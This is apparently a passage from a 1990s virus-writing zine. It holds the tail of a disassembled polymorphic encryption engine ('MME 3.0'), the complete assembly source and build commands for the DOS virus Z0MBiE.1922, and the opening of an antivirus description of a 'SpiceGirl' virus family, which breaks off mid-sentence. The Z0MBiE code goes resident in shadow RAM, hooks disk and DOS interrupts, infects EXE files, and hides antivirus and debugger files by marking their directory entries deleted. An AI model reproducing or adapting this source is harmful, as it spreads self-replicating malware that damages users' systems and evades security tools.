mov cs:[si+addr_retf],ax
stosw ; [addr16]:=[0C0h..0FFh]
mov al,0CBh ; inm8:=RETF
stosb ; Generated: mov byte ptr ds:[xxxx],0CBh
call generate_garbage
mov al,0Eh ; Generate PUSH CS
stosb
call generate_garbage
mov al,68h ; Generate PUSH inmediate (ret address)
stosb
pop ax
add ax,cs:[si+ofs_in_file]
stosw ; Return address from retf
call generate_garbage
mov al,1Eh ; Generate PUSH DS
stosb
call generate_garbage
mov al,68h ; Generate PUSH inmediate (to RETF)
stosb
mov ax,cs:[si+addr_retf]
stosw ; Address of runtime generated RETF
call generate_garbage
mov al,0CBh ; Generate RETF (jmp to generated RETF)
stosb
mov cx,cs:[si+return_retf]
sub cx,di ; Fill with garbage to return address
l_more_shit:
call get_random
stosb
loop l_more_shit
call generate_garbage
call get_random
and ax,3 ; AX in [0..3]
mov bp,ax ; Select register index
mov al,byte ptr cs:[bp+si+regop_table]
mov cs:[si+indexop_reg],al
mov ah,byte ptr cs:[bp+si+regop2_table]
and ah,7
mov cs:[si+indexop2_reg],ah
mov al,0C7h ; Generate MOV reg16,inm
; MOV reg_index,start address
stosb
mov al,0C0h
add al,ah ; reg16=(SI or DI)
stosb
mov ax,MME_DEC_SIZE ; Calculate starting address to decrypt
add ax,cs:[si+ofs_in_file]
add ax,cs:[si+length_code]
stosw
call generate_garbage
mov cs:[si+decryptor_ofs],di ; Start decryptor
call generate_encryptor
mov cx,cs:[si+length_code]
add cx,MME_DEC_SIZE ; Code + decryptor
push es
pop ds
xor dx,dx
retf

db 'MME v 2.00',0 ; 2.0??? It's 3.0 ;)


db 'ü S.S.R. 1996-97',0

generate_segmentprefix:
and al,00011000b
add al,26h ; 00h+26h = 26h (ES:)
; 10h+26h = 36h (SS:)
; 08h+26h = 2Eh (CS:)
; 18h+26h = 3Eh (DS:)
stosb
ret

generate_1byteinst:
and ax,0Fh ; AX in [0..15]
mov bp,offset(MME_1byte)
add bp,ax
mov al,cs:[bp+si] ; Generate 1 byte instruction
stosb
ret

generate_reg8reg8:
call generate_toreg8
stosb
call get_random
and al,00111111b ; Allow all registers
add al,11000000b ; Mode 3: Register to Register
stosb
ret

generate_reg8addr16:
call generate_toreg8
stosb
call get_random
and al,00111111b ; Allow all registers
add al,10000000b ; Mode 2: Inmediate 16 bits address
stosb
call get_random ; Generate word
stosb
call get_random
stosb
ret

generate_reg8inm:
mov al,10000000b ; [3 bytes operation]; to reg; 8 bits
stosb
call generate_regop
stosb
call get_random ; Generate inmediate value
stosb
ret

generate_jmpshort:
mov al,0EBh ; Generate JMP xx (short)
stosb
push di
inc di
call generate_shit ; 1 to 8 bytes of shit
pop bp
mov ax,di ; Calculate offset of JMP (skip shit)
sub ax,bp
dec al
mov es:[bp],al ; Store offset
ret

generate_shift8:
and al,00000010b ; 8 bits
add al,11010000b ; [RCL,RCR,ROL,ROR,SHL,SHR,SAL,SAR]
stosb
call generate_regop2
stosb
ret

generate_in:
mov al,0E4h ; Generate IN AL,xx
stosb
call get_random ; Random port
stosb
inc di ; Generate NOP
ret

generate_int1_int3:
mov al,0CDh ; Generate INT xx
stosb
call get_random
rcr al,1 ; Generate int 3?
jc generate_int3 ; Yes? then jmp
nop
nop
nop
mov al,1 ; Generate int 1
jmp store_int
nop

generate_int3:
mov al, 3
store_int:
stosb
ret

generate_movdrx:
mov ax,230Fh ; Generate MOV dr?,extended-register
stosw
call get_random
and al,1Fh
add al,0C0h ; AL in [0C0h..0DFh]
stosb
ret

generate_reg32reg32:
mov al,66h ; Extended register prefix
stosb
call get_random
and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
add al,00000011b ; to reg; 16 bits
stosb
call get_random
and al,00011111b ; Don't use ESP,EBP,ESI,EDI as dest.
add al,11000000b ; Mode 3: Register to register
stosb
ret

generate_reg32inm32:
mov ax,8166h ; Extended regs; 6 bytes operation
stosw
call get_random
and al,00111011b ; Don't use ESP,EBP,ESI,EDI as dest.
add al,11000000b
stosb
push cx
mov cx,4 ; Generate a double word
l_gen_doubleword:
call get_random
stosb
loop l_gen_doubleword
pop cx
ret

MME_function_table:
dw offset(generate_segmentprefix)
dw offset(generate_1byteinst)
dw offset(generate_reg8reg8)
dw offset(generate_reg8addr16)
dw offset(generate_reg8inm)
dw offset(generate_jmpshort)
dw offset(generate_shift8)
dw offset(generate_in)
dw offset(generate_int1_int3)
dw offset(generate_movdrx)
dw offset(generate_reg32reg32)
dw offset(generate_reg32inm32)
dw offset(generate_reg8reg8)
dw offset(generate_reg8addr16)
dw offset(generate_reg8inm)
dw offset(generate_jmpshort)

get_random:
pushf
push cx
in al,40h ; Get random number
mov cl,al
in al,40h ; Get random number
ror al,cl
xor al,cl
inc al
pop cx
popf
ret

generate_toreg8:
call get_random
and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
add al,00000010b ; to reg; 8 bits
ret

generate_regop:
call get_random
and al,00111111b ; All registers
add al,11000000b ; Mode 3: Register to register
ret

generate_regop2: ; = generate_regop !!
call get_random
and al,00111111b
add al,11000000b
ret

;; Unused code !! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


call get_random
and al,00111111b
add al,10000000b
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

generate_shit:
push cx
call get_random
and ax,7
inc ax ; AX in [1..8]
mov cx,ax
l_gen_shit:
call get_random
stosb
loop l_gen_shit
pop cx
ret

generate_jx_garbage:
call get_random
and al,0Fh
add al,70h ; AL in [70h..7Fh] Generate conditional jump
ofsret_garbage:
stosb
push di ; Save offset address
inc di
push cx
call get_random
and ax,3
mov cx,ax
inc cx ; CX in [1..4]
l_call_table:
call get_random
mov bx,ax
and bx,7 ; BX in [0..7]
shl bx,1 ; Select garbage function from table
mov bp,word ptr cs:[bx+si+MME_function_table]
call get_random
add bp,si
call bp ; Call garbage funtion
loop l_call_table
pop cx
pop bp
mov ax,di
sub ax,bp
mov es:[bp],al
call get_random
call generate_1byteinst
ret

generate_call:
mov al,0E8h ; CALL
stosb
push di
inc di
inc di ; Space for offset
push cx
call get_random
and ax,3 ; AX in [0..3]
mov cx,ax
inc cx ; CX in [1..4]
l_call_table2:
call get_random
mov bx,ax
and bx,7 ; BX in [0..7]
shl bx,1 ; BX:=BX*2
mov bp,word ptr cs:[bx+si+MME_function_table]
call get_random
add bp,si
call bp ; Call garbage function
loop l_call_table2
pop cx
pop bp
mov ax,di
sub ax,bp
mov es:[bp],ax
mov al,0EBh ; JMP
call ofsret_garbage
dec di
mov al,0C3h ; Generate RET
stosb
ret

make_garbage:
push ax
push bp
push bx
call get_random
and ax,0Fh ; [0..15]
shl ax,1 ; AX:=AX*2
mov bp,ax ; Select garbage funtion
mov bx,word ptr cs:[bp+si+MME_function_table]
add bx,si
call get_random
call bx ; Call garbage table
pop bx
pop bp
pop ax
ret

generate_garbage:
push cx
call get_random
and ax,3 ; AX in [0..3]
inc ax
mov cx,ax ; CX in [1..4]
l_mk_garbage:
call make_garbage
loop l_mk_garbage
pop cx
ret

generate_encryptor:
mov cx,8 ; 8 encryption/decryption instructions
mov bx,offset(first_enc_inst)
l_generate_encryptor:
call get_random
and ax,3 ; AX in [0..3]
mov bp,ax
shl bp,1
shl bp,1 ; BP:=AX*4
call get_random
mov cs:[si+_mask],al ; Generate mask
mov ax,word ptr cs:[bp+si+encrypt_table] ; Encrypt op.
mov cs:[bx+si],ax ; Store it
mov ax,word ptr cs:[bp+si+encrypt_table+2]
mov ah,cs:[si+_mask] ; xxx es:[xx],_mask
mov cs:[bx+si+2],ax
mov ax,word ptr cs:[bp+si+decrypt_table] ; Decrypt op.
stosw ; Store it
mov ax,word ptr cs:[bp+si+decrypt_table+2]
and al,0F8h ; Clear index register
add al,cs:[si+indexop_reg] ; Register index [xx]
mov ah,cs:[si+_mask] ; xxx cs:[xx],_mask
stosw
call generate_garbage
sub bx,4
loop l_generate_encryptor ; and decryptor
push di
mov cx,cs:[si+length_code] ; Bytes to encrypt
mov di,MME_DEC_SIZE ; Destination
mov bp,cs:[si+base_code] ; Source
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
db 8*4 dup(90h) ; 8 instructions; 4 bytes each one
first_enc_inst equ $-4
inc di
inc bp
loop l_encrypt_code
pop di
call generate_garbage
mov al,48h ; Generate DEC register index
add al,cs:[si+indexop2_reg]
stosb
call generate_garbage
mov ax,0F881h ; Generate CMP reg index,end decryption
add ah,cs:[si+indexop2_reg]
stosw
mov ax,cs:[si+ofs_in_file]
add ax,MME_DEC_SIZE-1
stosw
mov ax,840Fh ; Generate JE xxxx (JE decrypted code)
stosw
mov ax,MME_DEC_SIZE-2
sub ax,di
stosw
mov al,0E9h ; Generate JMP xxxx (decryptor loop)
stosb
mov ax,cs:[si+decryptor_ofs] ; Start of decryptor
sub ax,di
dec ax
dec ax
stosw
mov cx,MME_DEC_SIZE
sub cx,di ; Fill free space with shit
l_shit:
call get_random
stosb
loop l_shit
ret

encrypt_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
add byte ptr es:[di],0
decrypt_table:
xor byte ptr cs:[di],0
sub byte ptr cs:[di],0
add byte ptr cs:[di],0
sub byte ptr cs:[di],0

ofs_in_file dw 0
base_code dw 0
length_code dw 0
indexop2_reg db 0
return_retf dw 0
_mask db 0
indexop_reg db 0
decryptor_ofs dw 0
addr_retf dw 0

MME_1byte:
cli
cmc
stc
clc
std
cld
aaa
daa
aas
das
sti
cbw
cwd
int 3
db 0F3h ; REP
nop

regop2_table:
db 0FFh ; DI
db 0F6h ; SI
db 0FFh ; DI
db 0F6h ; SI

regop_table:
db 5 ; DI
db 4 ; SI
db 5 ; DI
db 4 ; SI

db 'Metamorphic Mutation Engine v 3.00',0


db '(C) Stainless Steel Rat 1996-97',0
db 'It''s C00LEST Engine',0

end_mme:

MME30 ends
public mme_engine
end

; End of MME 3.0 disasm


; (c) 1997, Tcp/29A (tcp@cryogen.com)
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Z0MBiE.1922 ³
; ³ written by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This virus is related with the Win95.Z0MBiE virus, also included in this
; issue of 29A, in the "Win32" section. It is dropped in the root directory
; of every drive in which Win95.Z0MBiE has infected a PE file, with the sys-
; tem and archive attributes. From that moment onwards, Z0MBiE.1922 is able
; to spread all over the HD with independence of what his "daddy" does. This
; DOS virus is the first ever to use ShadowRAM in order to go resident. This
; new technique has many advantages, and maybe the most important is that it
; is impossible to unhook the virus by normal means, as its code is locked
; and is only accesable when performing the infection tasks, after being ca-
; lled from int 13h or int 21h. Z0MBiE has many other peculiarities, descri-
; bed below by Igor Daniloff in his analysis of this virus.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Zombie.1922
;
; Igor Daniloff
; DialogueScience
;
; Zombie.1922 is a destructive resident encrypted virus. It is a "product
; of the life activity" of Win95.Zombie. After creation, Zombie.1922
; "leads a full-fledged life" all by itself. Win95.Zombie creates a file
; ZSetUP.EXE in the root directory of every drive it infects. On starting
; ZSetUP.EXE, the virus code gets control and examines whether it (the
; virus) can open RAM Shadow for writing. Then it determines a 2122-byte
; block of free memory (of zero bytes) in the segment 0C000h. If it
; succeeds in this, the virus determines the location address of the 8x14
; system font. If this font exists in the segment 0C000h and if the address
; of the original Int 13h handler is available in the segment 0F000h, the
; virus opens RAM Shadow for writing and plants its code in the zero byte
; region or at the location of the 8x14 system font. Then the virus
; modifies the original Int 13h handler by inserting a command for
; transferring control to the virus procedure. Finally, RAM Shadow is
; "closed" to lock it from further writing.
;
; On reading the sector (f.2 Int 13h) of initial signature "MZ", the virus
; "intercepts" Int 21h, whose handler infects every EXE that is started or
; opened for reading or writing. While reading the sectors containing
; directory or file entries, the virus looks for the byte strings ADINF,
; AIDS, AVP, WEB, DRWEB, ---, CPP, C, S-ICE, TD, DEBUG, WEB70801, and CA.
; On detecting any such string, the virus sets in the sector just read the
; first byte OE5h (attribute for a deleted file) for the detected entry and
; "overwrites" all other bytes with zeros in the entry. Thus, if the virus
; is active, the operating system will not even suspect the presence of
; these files in the drive.
;
; The virus handlers of Int 13h and Int 21h, upon receiving control, "open"
; RAM Shadow, launch their procedures, and finally "close" RAM Shadow.
; Without appropriate shadow memory manipulations, it is not possible to
; kill or eradicate the resident virus code. On detecting this virus in
; the memory, the system must be cured by starting the machine from an
; independent boot diskette containing a "clean" operating system.
; Beware! Zombie.1922 is, apparently, clever enough to open RAM
; Shadow on most of the modern system boards with Pentium. The virus
; contains a few text strings:
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m zombie.asm
; tlink zombie.obj
; exe2bin zombie.exe zombie.com
;
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

include #equ.inc
include #macro.inc
include #struc.inc
include #header.inc

org 100h
start:
jmp tsr_sh

exe_start: mov al, es:[0028h]


sux label word
not al
; normal: al=0
; web: al<>0
xor cs:@@sux, al

lea si, real_code


mov di, si
@@2: mov cx, 8
@@1: segcs lodsb
inc ax
shl bx, 1
or bx, ax
loop @@1
mov cs:[di], bl
@@sux label byte
inc di
cmp di, offset real_code + vir_size + stamms_max_ip
jne @@2
jmp $+2

decr_size equ $-start

real_code: call stamm

mov ax, in_ID


int 13h
cmp ax, out_ID
je @@continue

call tsr_sh

@@continue: mov cx, es


add cx, 16

mov ax, 1234h


lastword save_ss
add ax, cx
mov ss, ax
mov sp, 1234h
lastword save_sp

mov ax, 1234h


lastword save_cs
add ax, cx
push ax
push 1234h
lastword save_ip

xor ax, ax

retf

include rnd.inc
include sh_ram.inc
include tsr_sh.inc
include findR13.inc
include ints.inc
include infect.inc
include hook21.inc
include fuck13.inc
include switch13.inc
include const.inc
include stamms.inc

vir_size equ $-start

include var.inc

tsr_size equ $-start

org ($-start+256+15) and (not 15)


db 256 dup (?)
exe_endofstack:
exe_memory equ ($-start+256+15)/16

end start

; - -[#EQU.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

in_ID equ 'ð '


out_ID equ '’Œ'

v_size equ decr_size + (vir_size + stamms_max_ip) * 8

b0 equ (byte ptr 0)


b1 equ (byte ptr 1)
b2 equ (byte ptr 2)
b3 equ (byte ptr 3)

w0 equ (word ptr 0)


w1 equ (word ptr 1)
w2 equ (word ptr 2)
w3 equ (word ptr 3)

l equ w0
h equ w2

offs equ w0
segm equ w2
; flags

fl_CF equ 0001h


fl_PF equ 0004h
fl_AF equ 0010h
fl_ZF equ 0040h
fl_SF equ 0080h
fl_TF equ 0100h
fl_IF equ 0200h
fl_OF equ 0800h

; dos file attributes

fa_readonly equ 01h


fa_hidden equ 02h
fa_system equ 04h
fa_volumeid equ 08h
fa_directory equ 10h
fa_archive equ 20h

fa_infect equ fa_readonly + fa_hidden + fa_system + fa_archive

; - -[#MACRO.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

mve macro x, y
push y
pop x
endm

setalc macro
db 0D6h
endm

lastword macro name


name equ word ptr $-2
endm

lastbyte macro name


name equ byte ptr $-1
endm

; - -[#STRUC.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

; dta

dta_struc struc
dta_drive db ? ; 0=a,1=b,2=c
dta_name8 db 8 dup (?)
dta_ext3 db 3 dup (?)
dta_searchattr db ?
dta_num dw ? ; 0=. 1=..
dta_dircluster dw ?
dd ? ; unused
dta_attr db ? ; 1=r 32=a 16=d 2=h 4=s 8=v
dta_time dw ? ; çççç第¬ ¬¬¬ááááá
dta_date dw ? ; £££££££¬ ¬¬¬¤¤¤¤¤
dta_size dd ?
dta_name db 13 dup (?)
ends

; exe header

exe_struc struc
exe_mz dw ?
exe_last512 dw ?
exe_num512 dw ?
exe_relnum dw ?
exe_headersize dw ?
exe_minmem dw ?
exe_maxmem dw ?
exe_ss dw ?
exe_sp dw ?
exe_checksum dw ?
exe_ip dw ?
exe_cs dw ?
exe_relofs dw ?
exe_ovrnum dw ?
db 32 dup (?)
exe_neptr dd ?
ends

; sys header

sys_header struc
sys_nextdriver dd ? ; last driver: offset = FFFF
sys_attr dw ?
sys_strategy dw ?
sys_interrupt dw ?
sys_name db 8 dup (?)
ends

; sft

sft_struc struc
sft_handles dw ?
sft_openmode dw ?
sft_attr db ?
sft_flags dw ?
sft_deviceptr dd ?
sft_filecluster dw ?
sft_date dw ?
sft_time dw ?
sft_size dd ?
sft_pos dd ?
sft_lastFclustr dw ?

sft_dirsect dd ?
sft_dirpos db ?
sft_name db 11 dup (?)
sft_chain dd ? ; share.exe
sft_uid dw ? ; share.exe
sft_psp dw ?
sft_mft dw ? ; share.exe
sft_lastclust dw ?
sft_ptr dd ?
ends

; - -[#HEADER.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

.model tpascal
.code
.386p
assume ds:code
locals @@
jumps
; - -[RND.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

; random number generator

; output: ax=random(65536)
; zf=rnd(2)

random: push bx
mov bx, 1234h
lastword rndword
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov cs:rndword, bx
xchg bx, ax
pop bx
test al, 1
ret

; input: ax
; output: ax=random(ax)
; zf=rnd(2)

rnd: push bx
push dx
xchg bx, ax
call random
xor dx, dx
div bx
xchg dx, ax
pop dx
pop bx
test al, 1
ret

; - -[SH_RAM.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

; shadow ram manager


; save shadowram state

save_sh_state: push cx

mov cl, 59h


call cf8_read
mov CS:state_F000, ch

inc cx
call cf8_read
mov CS:state_C000, ch

inc cx
call cf8_read
mov CS:state_C800, ch
pop cx
ret

; restore shadowram state

rest_sh_state: nop ; nop/ret

push cx

mov cx, 0059h


lastbyte state_F000
call cf8_write

inc cx
mov ch, 12h
lastbyte state_C000
call cf8_write

inc cx
mov ch, 12h
lastbyte state_C800
call cf8_write

pop cx
ret

; enable shadowram write

disable_sh: push cx

mov cl, 59h


mov ch, CS:state_F000
and ch, 10001111b
or ch, 00110000b
call cf8_write

inc cx
mov ch, 00110011b
call cf8_write

inc cx
mov ch, 00110011b
call cf8_write

pop cx
ret

; read PCI register

cf8_read: push eax dx

call cf8_main

in al, dx
mov ch, al

pop dx eax
ret

; write PCI register

cf8_write: push eax dx


call cf8_main

mov al, ch
out dx, al

pop dx eax
ret

cf8_main: mov eax, 80000000h


mov al, cl
and al, 11111100b

mov dx, 0CF8h


out dx, eax

add dl, 4
mov al, cl
and al, 11b
add dl, al

ret

; - -[TSR_SH.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

rnd_size equ 66
scan_size equ tsr_size + rnd_size

; <ds=cs>
; <DF=0>

; output: ZF

tsr_sh: push ds es
mve ds, cs

cli
cld

call save_sh_state

mov al, state_F000 ; FF


inc al
jz @@exit

call find_real_13
jne @@exit

call scan_C000
je @@ok

IF SCAN_SIZE LE 14*256

call scan_8x14_1
je @@ok

call scan_8x14_2
je @@ok

ENDIF

; ZF=0
ret
@@ok: call disable_sh

mov ax, rnd_size


call rnd
add bp, ax

add bp, 15
and bp, not 15
shr bp, 4
mov ax, es
add ax, bp
sub ax, 16
mov es, ax
lea di, start

mov EA, 0EAh


mov EA.w1, offset int_13_sh
mov EA.w3, es

mov my_seg, es

lea si, start


mov cx, tsr_size
rep movsb

call switch_13

call rest_sh_state

xor ax, ax ; CF=0 ZF=1

@@exit: pop es ds
ret

scan_C000: mve es, 0C000h ; C000:0000


xor di, di

xor dl, dl ; dx = bios size in WORDs


mov dh, es:[di+2]

shl dx, 1 ; in BYTEs

jnc @@1 ; max 64k


mov dh, 80h

@@1: sub dx, scan_size + 32

xor ax, ax

@@2: mov bp, di

mov cx, (scan_size + 1) / 2


repe scasw
je @@exit

cmp di, dx
jbe @@2

@@exit: ret

IF SCAN_SIZE LE 14*256

scan_8x14_1: mov ax, 1130h


mov bh, 2 ; 8x14
int 10h

mov ax, es
cmp ax, 0c000h

ret

scan_8x14_2: mve es, 0c000h


xor di, di

@@2: mov cx, 14


xor al, al
repe scasb
jnz @@1

mov cx, 16
repe scasb

cmp es:[di-1].w0, 1000000101111110b


jne @@1
cmp es:[di-1+14].w0, 1111111101111110b
je @@3

@@1: cmp di, 0f000h


jbe @@2

@@3: mov bp, di

ret

ENDIF

; - -[FINDR13.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

find_real_13: mov ah, 13h


int 2Fh
mov cx, es
mov cs:real_13.offs, bx
mov cs:real_13.segm, es
int 2Fh
cmp cx, 0F000h
ret

; - -[INTS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

int_21: cmp ax, in_id


je ax_in_id

cmp ax, 4b00h


je infect_dsdx
cmp ah, 43h
je infect_dsdx
cmp ah, 3Dh
je infect_dsdx

exit_21: db 0eah
old_21 dd ?

infect_dsdx: call infect_file


jmp exit_21

ax_in_id: mov ax, out_id


iret

int_13_sh: cmp ax, in_id


je ax_in_id

call disable_sh
call switch_13
mov cs:save_ax, ax
call rest_sh_state

pushf
db 09Ah
real_13 dd ?

pushf
call disable_sh

cmp CS:save_ax.b1, 02h


jne @@1

cmp es:[bx].w0, 'ZM'


jne @@2
call hook_21
@@2:
call analize_13_02
@@1:
call switch_13

call rest_sh_state
popf

retf 2

; - -[INFECT.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

call21: pushf
call cs:old_21
ret

infect_file: call disable_sh


mov CS:rest_sh_state.b0, 0C3H

pusha
push ds es
cld

; mov si, dx
; cld
;@@0: mov ah, al
; lodsb
; or al, al
; jnz @@0
; cmp ah, '_'
; jne @@exit

mov ax, 3D00h


call call21
jc @@exit

xchg bx, ax

mov ah, 3Fh


mve ds, cs
lea dx, header
mov cx, size exe_struc
call call21
cmp ax, cx
jne @@close

mov ax, header.exe_mz


cmp ax, 'ZM'
je @@mz
cmp ax, 'MZ'
jne @@close

@@mz: cmp header.exe_checksum.b0, 'i'


je @@close

mov ax, 4200h


xor cx, cx
mov dx, header.exe_headersize
shl dx, 4
call call21

mov ah, 3Fh


lea dx, tempword1
mov cx, 2
call call21
cmp ax, cx
jne @@close

mov ax, 1234h


lastword tempword1
inc ax
jz @@close

push bx
mov ax, 1220h
int 2Fh
mov bl, es:[di]
mov ax, 1216h
int 2Fh
pop bx

mov dx, es:[di].sft_size.h


mov ax, es:[di].sft_size.l
or al, al
jz @@exit
mov cx, 1000
div cx
or dx, dx
jz @@exit

mov es:[di].sft_openmode, 2

mve es, cs

mov ax, header.exe_num512


dec ax
mov cx, 512
mul cx
add ax, header.exe_last512
adc dx, 0
mov si, ax
mov di, dx
mov ax, 4202h
cwd
xor cx, cx
call call21

cmp ax, si
jne @@close
cmp dx, di
jne @@close

add ax, 15
adc dx, 0
and al, not 15

sub si, ax
sub header.exe_last512, si

push ax
push dx

shr ax, 4
shl dx, 12
or ax, dx
sub ax, header.exe_headersize
sub ax, 16

mov cx, ax
xchg cx, header.exe_cs
mov save_cs, cx

lea cx, exe_start


xchg cx, header.exe_ip
mov save_ip, cx

mov cx, ax
xchg cx, header.exe_ss
mov save_ss, cx

lea cx, exe_endofstack


xchg cx, header.exe_sp
mov save_sp, cx

add header.exe_minmem, exe_memory

add header.exe_num512, v_size / 512


add header.exe_last512, v_size mod 512

mov header.exe_checksum.b0, 'i'

mov ax, 4200h


pop cx
pop dx
call call21

call gen_stamm

mov ah, 40h


lea dx, start
mov cx, decr_size
call call21

lea si, real_code


@@1: lea di, buf
mov cx, 8

@@2: lodsb
xchg dx, ax

mov bp, 8

@@3: xor ax, ax


shl dl, 1
rcl ax, 1
dec ax
stosb

dec bp
jnz @@3

loop @@2

mov ah, 40h


lea dx, buf
mov cx, 64
call call21

cmp si, offset real_code + vir_size + stamms_max_ip


jb @@1

mov ax, 4200h


cwd
xor cx, cx
call call21

mov ah, 40h


lea dx, header
mov cx, size exe_struc
call call21

@@close: mov ah, 3Eh


call call21

@@exit: pop es ds
popa

mov CS:rest_sh_state.b0, 90H


call rest_sh_state

ret

gen_stamm: lea di, stamm


mov al, 0C3h ; RET
stosb
mov cx, stamms_max_ip - 1
xor ax, ax
rep stosb

mov sux, 0D0F6h ; not al

mov al, 8 ; month


out 70h, al
in al, 71h
cmp al, 10 ; october ?
jne @@exit
mov sux, 00B0h ; mov al, 0

mov ax, stamms_num


call rnd
xchg si, ax
imul si, (2+1+2+4)*2
add si, offset stamm_1

mov cx, 2

@@1: lodsw
xchg di, ax
add di, offset stamm
movsb
lodsw
xchg di, ax
add di, offset stamm
movsd

loop @@1

@@exit: ret

; - -[HOOK21.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

hook_21: pusha
push ds es

xor si, si
mov ds, si
les bx, ds:[si+21h*4]
or bx, bx
jz @@1

mov ax, in_id


int 21h
cmp ax, out_id
je @@1

mov cs:old_21.offs, bx
mov cs:old_21.segm, es

mov ds:[si+21h*4].offs, offset int_21


mov ds:[si+21h*4].segm, cs

@@1: pop es ds
popa

ret

; - -[FUCK13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

analize_13_02: pusha

mov dx, 1234h


lastword save_ax
xor dh, dh
shl dx, 4

@@1: lea di, [bx+12]


mov cx, 10
xor al, al
cld
repe scasb
jne @@next

lea bp, bad

@@2: mov cx, 11

mov si, bp
mov di, bx

@@3: segcs lodsb


cmp al, '°'
je @@6
cmp al, 128
jae @@4
@@6: cmp es:[di], al
jne @@nxt
@@4: inc di
loop @@3

mov di, bx
mov al, 0E5h
stosb
xor ax, ax
mov cx, 31
rep stosb

jmp @@next

@@nxt: add bp, 11


cmp bp, offset bad_end
jne @@2

@@next: add bx, 32


dec dx
jnz @@1

popa
ret

; - -[SWITCH13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

switch_13: push ax si di ds es
lds si, cs:real_13

push 1234h
lastword my_seg
pop es
lea di, EA

@@1: mov al, [si]


xchg al, es:[di]
mov [si], al

inc si

inc di
cmp di, offset EA + 5
jne @@1

pop es ds di si ax
ret
; - -[CONST.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

db 13,10,10
db 'Z0MBiE`'
IF VIR_SIZE GE 1000
db vir_size / 1000 mod 10 + '0'
ENDIF
db vir_size / 100 mod 10 + '0'
db vir_size / 10 mod 10 + '0'
db vir_size / 1 mod 10 + '0'
db ' v1.00 (c) 1997 Z0MBiE',13,10
db 'Tnx to S.S.R.',13,10
db 'ShadowRAM/Virtual Process Infector',13,10
DB 'ShadowRAM Technology (c) 1996,97 Z0MBiE',13,10

; ¯®å¥à¨¬ ¨å ;)

bad: db 'ADINF-£ ¢-®'


db 'AIDS-¯®£ -ì'
db 'AVP--á ªá--'
db 'WEB--ã©®¡®ª'
db 'DRWEB-⮦¥-'
db '-åã©-ï--°°°'
db '-¤¥à쬮-CPP'
db '-¥- ¢¨¦ãC '
db 'S-ICE-àã«¥§'
db 'TD-¬ áâ-¤ ©'
db 'DEBUG--£ã¤-'
db 'WEB70801íâ®'
db 'CA-¬®ñ--AV-'
bad_end:

; - -[STAMMS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

stamm_1:
dw 0015h
db 01eh
dw 0051h
dd 0091e60f1h
dw 00bdh
db 0a3h
dw 00f7h
dd 00b7405fah
stamm_2:
dw 0006h
db 0b4h
dw 0022h
dd 0f1ebf71eh
dw 00b3h
db 080h
dw 00dfh
dd 03d021624h
stamm_3:
dw 0032h
db 01eh
dw 005eh
dd 001b82595h
dw 00c5h
db 033h
dw 00e1h
dd 0b104c9e9h
stamm_4:
dw 003eh
db 0fah
dw 005ah
dd 08b134c0bh
dw 00cdh
db 080h
dw 00f9h
dd 059e0df7fh
stamm_5:
dw 0009h
db 02eh
dw 0025h
dd 0e809e525h
dw 0037h
db 0e8h
dw 0063h
dd 04b02f8a4h
stamm_6:
dw 0009h
db 050h
dw 0025h
dd 000845225h
dw 0043h
db 080h
dw 006fh
dd 003449a4eh
stamm_7:
dw 001ah
db 050h
dw 0046h
dd 0c033cbadh
dw 0085h
db 0a1h
dw 00a1h
dd 0a306fd1bh
stamm_8:
dw 0036h
db 0b8h
dw 0052h
dd 050e0c65bh
dw 00b2h
db 09ch
dw 00deh
dd 08ec9e34eh
stamm_9:
dw 0007h
db 08eh
dw 0023h
dd 002a20883h
dw 00b3h
db 091h
dw 00dfh
dd 00315fe59h

stamms_num equ 9
stamms_max_ip equ 254

; - -[VAR.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

stamm: db stamms_max_ip dup ('?')

EA db ?
dw ?
my_seg2 dw ?
header exe_struc ?

buf db 64 dup (?)


SpiceGirl family
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
These are harmless memory resident parasitic viruses. They hook INT 21h and
write themselves to the beginning of COM files (except COMMAND.COM) that are
accessed. The viruses are encrypted starting from 1619 bytes version.
Starting from 2123 bytes version they are semi-stealth - on opening an
infected file they create temporary file, write to there disinfected copy of
original file, and return "handle" of disinfected copy instead of original
file. On closing these viruses delete the temporary file.

The viruses use new way to avoid detection - the infected files have no
